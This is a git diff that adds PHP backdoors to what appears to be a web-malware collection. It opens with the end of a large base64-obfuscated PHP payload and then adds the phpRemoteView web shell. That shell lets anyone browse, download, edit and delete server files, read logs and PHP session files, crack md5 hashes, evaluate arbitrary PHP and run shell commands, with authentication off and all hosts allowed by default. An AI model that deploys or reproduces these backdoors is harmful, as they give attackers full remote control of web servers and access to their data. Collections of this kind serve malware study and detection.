+mfMdBlCig8dxHd860jCEhdi7+lN5co/DFGJp7vaW +v9IwXNASMPtj5wmjT82uAWNhBP2A5zmSDkPQt4e0 +GA/YaX1opPzEg1y0kQqfwFX4b5v+S5kP4uTVAl4V +pjeqxcli4KT4bNDJLPnEjdcY5f42EafGtQAxRGYy +pqd7aYqQGVPPKYtin0y6guoY0lycGftYrta2WGyT +mx7OITH2wWZ4dk8cEvOY/+JAJldEKEDDkOgj2HSn +ZJzCi4QEHEHWOFB8dUxswu0QT3IwBId3je4Svqyz +f7F1W/yHN4N3B6dV7ioucKLcn562hrGVBfj6Q4WO +EUlcM7iZKIncpFTtVTegid+zRo61/PpXz+aOExVc +uva8YwhUPR46NR60bkw91yYzeSw8vBQemq037kBR +Dp9CMxWvNskcxvjGE/fiIIZnKDueZH5a/8/I2ygw +yh5gpXLXfBrecW9IUuJdSOiJhcQEtyzwIL96FSAK +nSzqlJBhtH16ZpYKEjpoBPo1JxRQkwJoUdBDs4/e +elpK8TAaMtADQLt7cuLUbbPllDMejSaQaPIc3ufN +Fv1w+9etOc9r/mT2m92x7m7XUJ4nOIK/NPVyA4tj +0EE8WoEGPh3OwB88FiF66JVFBWJduut16eZtvIc7 +WcHcgcjVG4wFc3WeS4tLfyYnl2bKTAafAtHG3RHj +4uisTG32xcZBDYMNZ6INlthIfN1woj4SCEoJxbo3 +Rs0M7bfpG7BItpqZ5mCMkYM2KGdo2Fb3IQ3i1eIJ +AAICrFOKEkmSV4sSLOJyb2Bcbl99qc2pJtzcf3HA +Ko0Slvx5fBjv4bxeYdghsYXXoBD+EqVapXhWYWeV +w5PjWrF2zc6K2wcVlmBpmOVGDQqsXkyk6QoQ7vCk +ISupsYPjo93tg+PtVOK1KIkdHBfLrFw8KwLyUvGA +VY/oxdkEiVgCfp4dC+KIrp1q5aBcZ7FXqTzNYmeV +2mH1CHhRZtvXkjt3d2d71frdUQVj+ewVT04qR/W7 +u8Tr1Vqpl4onapVY6yviP6geVerM27aoVr2aUMXq +lYNK6YxpbKd2fMi766B6WD1juVdo2GuNT0/8WPRm +orZEdYC6Ej9R38y35TP/lhDqBFx+oI1n9Iz+aC7X +5jza5g8Mn0JNokkd63Lq2HyljiUj+g+8b012d4rp +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 +og4D7nHiR/1sQxuqpzpcQceAR/V69fjoS0JQTBPE +O2fryit14z4XnWAhdFZ5d3LkKUO7Y7bCyyywUKXh +6SaM7aINQJZ1h/nEfcEIazwCxnhbr1TFs0GK0wWW +iNNufVDC09Ic8FRc7ZsjWCZjIDGqmL+ixCbW8B51 +H39VGpoR5LwBy5tk4n9/+bLR6Gr9+42vX39r6uqv +eCKs5QE9pbSjOeGXKUHEuniiNInLWDDjxZjAWBAd +GDmLDlVe9cvXAfPQ9j755X9vfn2fCiVxARVa2w5S +Cuw6U3jkjhCmgYGiJ5wUutPPJgZ3qkAf8tP3PtX2 +Gy47tT6KuzHsa10+D0gkUgEE9D7S9iX39c/sD9x5 +xWvdYZofaC02bKs7hpGOrFxAcmjIj0C8m0BQ29C9 +nep0CAYgQedQgcnKfFo5+iYLVFszQL2YD0q1QrDN +kRRnn5SFqPzfoiQvjEi/AKWRKzgGIqj3sxX7daj1 +bQrlnMikoTCpIMTir1ssFmBuh0VMUlKxwItFaxQf +yWq8WiqJCFAWBUhws9hH48tIfDGFzybwMZNOSxIj +KVTONif+ytymb9PJ39/dplN/qRVNJ5NQOHT+lfn9 +y//OfH3vw5WYSjgNKgcjjChgklIDNDu8rU8ozXwg +TRNW2s5qdujQrdOmUFstqAdlgbmHX8ScEGvqG7gb +A1Nz3xpJokfWhlNDcKHoPV3vaFbPVpBiVCHjMNJ0 +UBthkMfxKBlU1MH1mVSwrmJFclUVKbIWwIJCzYI2 +M2o4UC1aC0ACGpaaihMZqh2nlxhit6VlFDa50sKT +d5qvW0IkP8MugWgNaUUNC8jw/bYU2kjoN2XoN00H +peKd88Cv412NuPEMNRT1B7OJJ7Ot9lDr2SzZtcmU +Mx613qBrpJjFzTZgQs+kyQSm9JAzMoK4RO34sl7g +StKa2GH2uYQsHR+cHx4J4CbMKL1+AD5MpRYxchae +rQSl4FjOHmHtGv023l9BZdO0B6FLlBi7HcX81cVH +1r2BsS3kbZdgueyCxO8vrFzkI+tCRPxC247Qfg1V +OVImCyyiFHAnmhqFFF9LTMt3ZU9dvJGCE4ucELRT +fS8cZ44VtsTXBMaDQ204SaQW5nDb5MOLzigLDQqd +GyhiLx9psMbp81XQSLfCBp6YHsRNUNOCKXymylTV +XWD7pwWjzJaYFl5+kKhydHZXOj48KZ4BL87PdhbX +EiEjYb6WG8PhHC3Pv1rL8/9Ay70Jcn+Os30zMjMf +yCShl86DVPBFJKcqYO/22OzqnhWrWHiRegxd5Dps +V0OvhC4QFc7Hv9l3ooa7Dj8qkYjF5EOBwSk5bthN +bWDozuq0pw2SCU3X7a4Ghr6diFiVbs6qEnQiqmIZ +fjpBCQtOfXQm26Ur0OX+lP/1v8SxuP/1v7zvwfju +cYUHDvNGOorbY34TGV8PkRfsKBoQ7bDht5QTais6 +StH0IEV0oiIiRBed1eX1uNGHvrz/yuveoP+yRVDU +dPNNnKZBqt+/VyJ1qZcAZSg2IMWW8RpnEQCTABRI +CjrCCImlPTB4DimKKE7WlLBC/GoMVYBlF+f5c07b +xOmMDvBfnNWhzpI3eKbxQBT8rcDymy4FEXGVPiS+ +pnkB5aDPtAJrWAA4oID/CBdC98YTfwobvqI0eR4E ++fh7bCHmxteSRcRgCy/z+xYvg5k8LKpBjwny3z+i +xoR6x0reJwpwUjdbkoueeAhutozKyShSgTg9yi+Q +oMOs93QHP5LyENMf3cUt360cvSG2UnmuuAbk5orR +5QESUcQUIH4AVQHx3Rvire16sXgvD3GQgQcEzwoE +QByK6eoYwUl1oA6hKacM1TOG3sEs8LknYKdhDJyC +DMVFJ468LRg1ujL2XwSt/CwsSYeK9c/wU1eumDi6 +1Kma9OmDPBL24D0Z6D6N1hqkppX+5L464OBIeZBE +tsV5W4Hw8QcWlGB7P0LPEshHjdy3w2e91PyC+HFU +zg1GYj7cjcwRxnOhD7yBq8t4JENjNB72WeKjBhbZ +U9coxJrjoW0NN9jAoiXnZoxZ/VLXbN7ju6m4aobF +8oM9StJ7rKaOT7CmNmNb8IOw4xvk2pZ4lFWlIclr +lQ8ZSX1QOj7+XK18gUwZTFBJKRSyKZdE8WRCTNQb +kxTrpg0q62kDlsp9A0nBQRRZimf/cC5nqyHm/nRi +vdlpJ0ZdLq1wMFRZ45OqCVPPJVJuqTyWSjqptuxJ +e5jMrSzEpsTgw1ce42AwWRPxJNoCTLH8He0F0rIL +aysLiYR7vG82yuVpKPGWOaKky+X4kPxyKo3Z/AEv +AJBfsgsRL3iJZz5EaD8SAZTzhOSG0ddz6XjLcJ/E +eCmj1zin86Gczj+X089gC2bwl9VkJ2QX3Ev6L2Lb +6jPZ9hJ+ZQXDcivhsrnyXJblVgM8i30U8wWFK7yN +8d3J29jW9LXWR2tAqkE+EMfPC9zG2MffvbucbpYz +sdyKewj4rAQaiL9vcZCPGY70mVXLMwGhlbuZU6qX +QC8kAJ14oZXzjCkVI8ALK3X33MOZrmRPY7wD9lLm +o+UXznmeM43tCPHSeqVbKbxuN3da/RJqJg0fM7ws +DCyPKiEtk3V1b955HnO+uSGtzg3CLbawsrwQfSjo +95C0jWTM1GOwUAvXcxLwb58dXqjl8ktcy4Uruf8g +HccDzYWIm4hAFy1pZF++UNJFyMqwakUwy2n1IsiL +NYwScDFUxagBGacQoQC+kBQ3zF8IHUoMwClESKgX +j3W6f/OMwZ7P5qcNd45uObfgudb0t4/Rl4zQZWEh +L4UO0KVn221TTWTxVOkM2815uzmRmq6Rn83Lf0Dh +ZbOvys8QQVMZivdwaM3hlbOIqWLw9Noc/fA3S+fS +P8tOcUNsbo7irbT/Mo7ms0v/JEfVO0TzslUt89/G +3fzy385dx+ChZwRuYzmYOIXtw29WgO0TsKhlhsJ+ +Z7JUvoTPjrJjxMWN/zYdsiIW2uGuidyzfRNLq9Mk +3gk5tQBo/La+G49KMfaVRLD2yV1LBj/n5VRKPkyz +QpzAWVMo6YZR0uWUYGTJeQlZm4OQwTRCBmGEDDgh +8vGaOYnJBZxHz/DHLWVndy4379ZXI9oibp//Hp4M +7VEGYXBl5xlOocNQBFF70WBb+9sV4OtO2NO7Q1yh +W1jJBrrCuYX3e+DWH/aAe39bdoCKMhpjJMKf61K6 +rvgf2qH5f6JDn8er/N/PK9qEeZmBJUyAfDjH8i8w +AlamGq1WO1QZYboqrfz3Bo9U+3wRLQ3NwaCLpxUb ++PL6AIjEYIh4pgVv6De1Pp1nkfeRI19Hf6FHfuVv +t4s/vLLlNtVKoKvYrkEcZQoT2H/dCmP9n+Qkxb+e +zUkC+zdy8oW8zInpNBexg+nbwpSb0c0uTEUF+p5T +d6Y9r1nFXmsapgv92AV+FSRu+v/uT/j5CZMQ/QOT +gPdNtHk6LCe0f3iHiWQbuDgaIrtb9FXHlRp2zcga +iP5aWv4X5qt9S0/KhT4kF/JYGe6sJ/qJ6GGVy6vP +1jpPoalSsZydMTKnSQWeZIKlfA6s/iz9gn4yX0P7 +vzojlv5eRnRGFMue80H8sP8jGbH29zKC4qahEBAn +4AsaCf+p9kA+9/fvz//MfmNu6tpfPPCz8GFtIYYY +M/zJq2cshFenGp30XhB044pAbw+6ljn6nobk2Is6 +NP9392du/b+6P6H7MK4j9WhCGNUTo2GbwKqm1aP+ +Rfv6WYePUManD9eRxXtZmvV3OGT/9g5++0Y+dY+P +B9HVdzcoksjhb1Xid9pUKmyJH2AhOCe+HSR4zUz4 +RLeUQo7nM+Z5AvV5kiXWDauhYrUaLVXAw/VURMco +7jTp7wrZ7KaGYOfKdiLYfIcZ/t6jAj+Cr6u8cDW9 +Iri7HMrd5eeO2ZW1aQLfuxf7kyGnNGSeas26aWDQ +4l1F/OVxUnp6q8md7B7XPD91O10Jx1wHvaesDsin +lV31lnUlA6hb8lM36WgjH34c89GcXJ9GmTmMJisb +RVa4s/P+1XeBl553us8jx3QOVj5u8xKBXv3wqgdi +VtdmHIgJ6Vdox1Zp7/C4HNF71qQP+ceXRxH57eEA +8ndrJxGyNWOiW10PTHS8kLp20IZaD1YOYG6678iI +RHUEOkkbPIanOgBnkPEhOycZeUb9SceUwzHhLJqI +JRbyq35q80Fq85za7IcPH6Yc6+rcvbrY/4TU80Bt +L9Lfwhn6IVTcPzxbf08/DXHHv6AziL69jFEeS2UO +mpam0+Q9rRxjv7Eky6A7ajOD8UI2MZIpSz1nj2ol +3DRvdozmfcN6xJkM13o9EqVcwru/cdfT7HsgKL+Q +QHtxU6zBYkiWk7CJUUqBqAgPPIWyuRMsjpTSeaXN +e9L/pzXsh1UucmuhIrf2XJH78B8och/+cZH7sDy9 +RiFUwIXf0l86za+cD7ko+/YDSnCobLXMvv5qkvVC +i35JbHmteyUojt4Q1/fid68A74SMYbnYR3m1iM/D +8l4fa1pdG52xDEMbFJZc74rf4lRuAv4elohO1N8Y +NwKZLe8O4zWpTEYE/7yN8RNNOKTxFWWe6Twifat6 +YTE/Fh6YOuZG1X2Wk9YhVsHaGPKJNveC6Uuhjbuo ++H+9TqpQ/eKql19/pQjfd1Y/9eItviVxhCqXDXcl +ZF93l1t5vi3Mya6+7uY7dJB7vUMH/MW5v93j/iPE ++Hh5Py3/F2yeKI/mRfVuPrx386/bu/l/pHcDngEY +kPwNj58ZkWvyjFf4nmNu6fXPeC1PO+O1HHbGa9k9 +40Wvv7zaIa/laYe8lsMOeS07h7xs7dWOeC1PO+K1 +HHbEa/n1jngFiaH74dHkiOeRfg9PBpLocSQgJ/VK +90OVB32izo4thw/0ZWWgUxj7lw3w5X9kgPsHN5ry +v/4qrxs7z+b4Xsx54bjP5YSplo+4d5p//al4ZXof +roT34crrKuuVf0dfBjrReY3nZ3pw6ZWPSy3P6sDV +6R24Gt6Bq24HvvAEFX8D6T+m3/BJoZ/pN3nMLdw1 +n19+/ZH3YXrHfQjvuA+vO/I+/PM9+HK7KJcThlE+ +3N+cf/6uZ26mZSQfi4rqJ+cxKV9Huemv01Nrz9oL +zQU3YMMblp/RsHxEw/Ie3fGPiNAnJ4gjHb0YD7qW +ptvKoMcTJMMe91DwXCbuXiL1rHJUOrs+qRR64+7I +HGjDUQbBFzH6TGDBPZc3WFjp4Soj92yVES6KXEkk +MByQs6xKvMa+uOJg7bdy6GKFjzAnq9wL5G7W1/bk +558tB+8CFtmL1f7KPxi1InjBaWKOOiHXmyYg45CM +HxF7Vrcxet4SgOgzEqr71H8EIPyIhjH79zYC4Wck +FHqZAAg/ImF2K2cAAv+duR36qodJhkZPzKTKYZLn +Kcu16SfSmwI/Hh35p+T8RX4DsVeQCz+9kVt99gbV ++tTANXPdf9atSR9V8d9zB3pZcBWIxOi2ETHu+LtU +FEvQbzy2v8tn9BI8TBwiShfIOTzUdNPi8S44BJ3V +NXGDKcHwc5OH4IpAbPSbIs4wmwdxW2Juc9RRiBvP +pbghETccxHP2/3r4zBFaC8bEgiGC9SSwTOcZG2aB +RsaUEJUxxaqffyysS692+F6tSJ7j5PJK9u89ubz2 +YeYx1fz0Xlqbqr7c+J7Ch7Qc9CH5YVSTL5iH3qT8 +h3QW/pfbyOf8XqUZ1C59mEUtxfqMpJPn+imUqUCb +BpL41LPG9nMJm8lG6daLpM0B8JOnZACFDbPbffrU +M5tDy7ZaIzzx+Exa19Zn0SqCdoTTGVhZKom4WoGf +i8ox2wjNLgvdoYpPPIf8eSfc5RXfDuls1OvZGUeI +kGo0HaX5srVzdnK3XT0q1q79lg1lFeulavVZFo2f +Wt64589pjvLkARtRSRn/RkWVy2b/r6b6v5rqmbT+ +jUP9P0sJjgeJ/7P0VH6amoqJ8LJcV7hBZoUzEBft +eDRqbsPveQuhdblVHn5qKvfsY1PPVFxrf4PiihY/ +Cgz/CvG4BBtQECMnjkhxpgPULMk+aqwzNFoFALyr +V2oXldqXxMneCXw/2EGQ3ynseTQecURc22IpOb8E +CfS5r0S4dJzAZOR06caKmsrUAzjzOR8Dkop7fS9b +m+SyMpDverh8rv+nLE5y2aWfnfNz0+/745WcEAUN +yR6/s8UHRUdr3hvDT8h6ORdFHLSnjdj5dd/UBkzd +I+D3mMLmGMzwDHOe8DrTanaqcQLj/lsoUZThifrB +E5C3RrdrMSLt2cQE1WPCd2IQf/HTgktL/LBgHkZb +cN/h0X+M4XEkT5mYXUZYOsYQJ2Qcs86hvsTPGt0r +/6lG9/J/7wCc6fL7v6MwMAqRZfgAa4/xw678pcr/ +HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm +HNmLCzO8wBIei1xvUEh/FVmKSWB8Dlaa44dP9dP/ +f3tX1Js2DIT/ijVVCkxt1tSQlrYro5Buk9pREbQ9 +dBUKkHWRKGEBJlXa/vvunMRJwElwaBGr6EsVY9/Z +zuV8Pp/vu+amOG8zzWxjitqw7pV9hOzlNrfudPbg +2aKGwXhSGrY9axDLL4uNEtXCzYNS4FT0JIxhEocT +B8VbYNtU8t0ZNGdXsLyHC6axvDoRTcu8thzhx4iC +/2LoMjFtEi8FlQLfuzVCWBqmrRUCnTlFPvBRJhml +xhhyfJokk2izQumhvqij6AreFQWxwAt5OUI8HFF3 +OVZO/HYrL4vnAkybjBBKJ536REBdEP0pMyF6/niH +/YwuIazPUp9YYSIRIxuzmjZmRNZJZ+Hj7tSFpcAE +93aCURfJCMiAnZTsc+FKbmDD0PmBagDhfQSBDRz9 +aZ9qyzLPoaHiQh8VYvQqdFENpnXxRUsubbXtND9P +6E5H7nTkFunI2kZ0pESPTsSx+xLqDoTk19z2npQy +aI0FHZD2vUaba7alrlb9LbUWGqo+ReiLQEp9Zgti +GhbCLJif2t9Iq9FtXDZMwzwjpnFtNLvkLbnqtG8w +K6LHy9DXBgZkqXwWQrnhzyV29U5N4JGxi3LSrslI +9axo5WeFhkmYsP9L1rPauhmutOycZ6GuU2rwlzze +yCOcqbD7eC0WVYBP3Rx/nhieFP2jQ5lAO5BKQZzd +rc1i2vBfakxbEyo0C5+q4CAkDQFazBCg9IX9UGun +19MyrxM5wTpSerAD0HTjpt01eo1Wq4NhTnWS9ssp +iZ2VLCrvvD5VVhN/MGJ2wgnCWdlO4TxaP/cjzXGY +WaNecXHIlDLPfnRndg9tT5+64w3UoTUa2zPVm8sx +qq7AKBqGruvHcvT1Z5NrDLpHpHt1ki3evN5gk3Je +XfNoe2d0rGd0aLAj51ZHkXNtWuQFvto39gy5cbNX +SlBZ1vARQ6ECBeY/SekWrZrDIbbFjz3K8dBzeCDw +sDXiPPBxJMniOIeF73AKGLCHV7oqv7zJON1Om3G6 +XUbj5sxC+QWT1VfCQiXSolRNpsVJdYRkiax7cHBw +F56jmniOSsgfHqEU3BT6Pe57ljNWwd66+Hp5RR68 +w/mEBSCxqn7rD5bLzrsvgscn4OViQVDR/EmBeP8J +97QEXRAs99c98Hdjoh9zZiTR12GazoJUIiLUCzQn +/nL8+j0ofJ+oEL49YoP0eBhhWnpzXicTz4G5ccaD +0Xxol77v9T4a3bvp9B6+DBAuQveRkjBF0vm7pvGl +a3TC11S/OK//Aw== +'))); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/remview_fix.php b/web-malware-collection-master/Backdoors/PHP/remview_fix.php new file mode 100755 index 0000000..722efb5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/remview_fix.php @@ -0,0 +1,2553 @@ +<?php + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * + * + * Welcome to phpRemoteView (RemView) + * + * View/Edit remove file system: + * - view index of directory (/var/log - view logs, /tmp - view PHP sessions) + * - view name, size, owner:group, perms, modify time of files + * - view html/txt/image/session files + * - download any file and open on Notepad + * - create/edit/delete file/dirs + * - executing any shell commands and any PHP-code + * + * Free download from http://php.spb.ru/remview/ + * Version 04c, 2003-10-23. + * Please, report bugs... + * + * This programm for Unix/Windows system and PHP4 (or higest). + * + * (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru + * + * * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * * + * + * --version4-- + * 2003.10.23 support short <?php ?> tags, thanks A.Voropay + * + * 2003.04.22 read first 64Kb of null-size file (example: /etc/zero), + * thanks Anight + * add many functions/converts: md5, decode md5 (pass crack), + * date/time, base64, translit, russian charsets + * fix bug: read session files + * + * 2002.08.24 new design and images + * many colums in panel + * sort & setup panel + * dir tree + * base64 encoding + * character map + * HTTP authentication with login/pass + * IP-address authentication with allow hosts + * + * --version3-- + * 2002.08.10 add multi language support (english and russian) + * some update + * + * 2002.08.05 new: full windows support + * fix some bugs, thanks Jeremy Flinston + * + * 2002.07.31 add file upload for create files + * add 'direcrory commands' + * view full info after safe_mode errors + * fixed problem with register_glogals=off in php.ini + * fixed problem with magic quotes in php.ini (auto strip slashes) + * + * --version2-- + * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands + * add panel 'TOOLS': eval php-code and run shell commands + * add copy/edit/create file (+panel 'EDIT') + * add only-read mode (disable write/delete and PHP/Shell) + * + * 2002.01.19 add delete/touch/clean/wipe file + * add panel 'INFO', view a/c/m-time, hexdump view + * add session file view mode (link 'SESSION'). + * + * 2002.01.12 first version! + * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +///////////////////////////////// S E T U P /////////////////////////////////// + + + $version="2003-10-23"; + + $hexdump_lines=8; // lines in hex preview file + $hexdump_rows=24; // 16, 24 or 32 bytes in one line + + $mkdir_mode=0755; // chmode for new dir ('MkDir' button) + + $maxsize_fread=65536; // read first 64Kb from any null-size file + + // USER ACCESS // + + $write_access=true; // true - user (you) may be write/delete files/dirs + // false - only read access + + $phpeval_access=true; // true - user (you) may be execute any php-code + // false - function eval() disable + + $system_access=true; // true - user (you) may be run shell commands + // false - function system() disable + + // AUTHORIZATION // + + $login=false; // Login & password for access to this programm. + $pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd"; + // Type 'login=false' for disable authorization. + + $host_allow=array("*"); // Type list of your(allow) hosts. All other - denied. + // Example: $host_allow=array("127.0.0.*","localhost") + + +/////////////////////////////////////////////////////////////////////////////// + + + $tmp=array(); + foreach ($host_allow as $k=>$v) + $tmp[]=str_replace("\\*",".*",preg_quote($v)); + $s="!^(".implode("|",$tmp).")$!i"; + if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - your host not allow</h1>\n"); + if ($login!==false && (!isset($_SERVER['PHP_AUTH_USER']) || + $_SERVER['PHP_AUTH_USER']!=$login || $_SERVER['PHP_AUTH_PW']!=$pass)) { + header("WWW-Authenticate: Basic realm=\"phpRemoteView\""); + header("HTTP/1.0 401 Unauthorized"); + exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied - password erroneous</h1>\n"); + } + + error_reporting(E_ALL); + set_magic_quotes_runtime(0); + @set_time_limit(0); + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler"); + + $self=basename($_SERVER['PHP_SELF']); + + $url="http://".getenv('HTTP_HOST'). + (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : ""). + $_SERVER['PHP_SELF']. + (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : ""); + $uurl=urlencode($url); + + // + // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars; + // + $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ". + "ftype fnot c2 confirm text df df2 df3 df4 ref from to ". + "fatt showfile showsize root name ref names sort sortby ". + "datetime fontname fontname2 fontsize pan limit convert fulltime fullqty"; + foreach (explode(" ",$autovars1) as $k=>$v) { + if (isset($_POST[$v])) $$v=$_POST[$v]; + elseif (isset($_GET[$v])) $$v=$_GET[$v]; + //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; + } + + // + // autofix 'magic quotes': + // + $autovars2="php shell text d root convert"; + if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) { + foreach (explode(" ",$autovars2) as $k=>$v) { + if (isset($$v)) $$v=stripslashes($$v); + } + } + + $cp_def=array( + "001001", + "nst2ac", + "d/m/y H:i", + "Tahoma", + "9" + ); + + $panel=0; + if (isset($_COOKIE["cp$panel"])) + $cp=explode("~",$_COOKIE["cp$panel"]); + else + $cp=$cp_def; + $cc=$cp[0]; + $cn=$cp[1]; + +/* + +$cc / $cp[0]- ������ ������������� ����������, ����������� � $cs: + $cc[0] - �� ����� ������� �����������, � ���� ��� �� �����: + n - �� ����� + e - ���������� + $cc[1] - ������� (0 - �������. 1 - ���������) + $cc[2] - ���������� �� ������ + $cc[3] - ��� ������ ��� ����� �� ������ �����: + 0 - �������� � text/plain + 1 - �������� � html + 2 - download + 3 - ��������� ����� (info) + $cc[4] - ��������� ������ ������ �� ��/��/�� + $cc[5] - ����: + 1 - ���������� + 2 - ������ + +$cn / $cp[1] - ������ ������� � �� �������, ������� ����������, ������ ����/����: + t - type + n - name + s - size + a - owner+group + o - owner + g - group + c - chmod + 1 - create time + 2 - modify time + 3 - access time + +$cp[2]: ������ ������� + +$cp[3]: ��� ������ + +$cp[4]: ������ ������ + +*/ + + // ��� ����������� ������� + $cn_align=array(); + $cn_align['t']='center'; + $cn_align['n']='left'; + $cn_align['s']='right'; + $cn_align['a']='center'; + $cn_align['o']='center'; + $cn_align['g']='center'; + $cn_align['c']='center'; + $cn_align['1']='center'; + $cn_align['2']='center'; + $cn_align['3']='center'; + + +/////////////////////////////////////////////////////////////////////////////// + + +/*--mmstart--*/ +$mm=array( +"Index of"=>"������", +"View file"=>"����� �����", +"DISK"=>"����", +"Info"=>"����", +"Plain"=>"������", +"HTML"=>"HTML", +"Session"=>"������", +"Image"=>"��������", +"Notepad"=>"�������", +"DOWNLOAD"=>"���������", +"Edit"=>"������", +"Sorry, this programm run in read-only mode."=>"��������, ��� ��������� �������� � ������ '������ ������'.", +"For full access: write"=>"��� ������� �������: ��������", +"in this php-file"=>"� ���� php-�����", +"Reason"=>"�������", +"Error path"=>"��������� ����", +"Click here for start"=>"������� ��� ������", +"up directory"=>"������� ����", +"access denied"=>"������ ��������", +"REMVIEW TOOLS"=>"������� REMVIEW", +"version"=>"������", +"Free download"=>"���������� ��������", +"back to directory"=>"��������� � �������", +"Size"=>"������", +"Owner"=>"�����", +"Group"=>"������", +"FileType"=>"��� �����", +"Perms"=>"�����", +"Create time"=>"����� ��������", +"Access time"=>"����� �������", +"MODIFY time"=>"����� ���������", +"HEXDUMP PREVIEW"=>"������������ � 16-������ ����", +"ONLY READ ACCESS"=>"������ ������ �� ������", +"Can't READ file - access denied"=>"�� ���� ��������� - ������ ��������", +"full read/write access"=>"������ ������ �� ������/������", +"FILE SYSTEM COMMANDS"=>"������� �������� �������", +"EDIT"=>"������.", +"FILE"=>"����", +"DELETE"=>"�������", +"Delete this file"=>"������� ����", +"CLEAN"=>"��������", 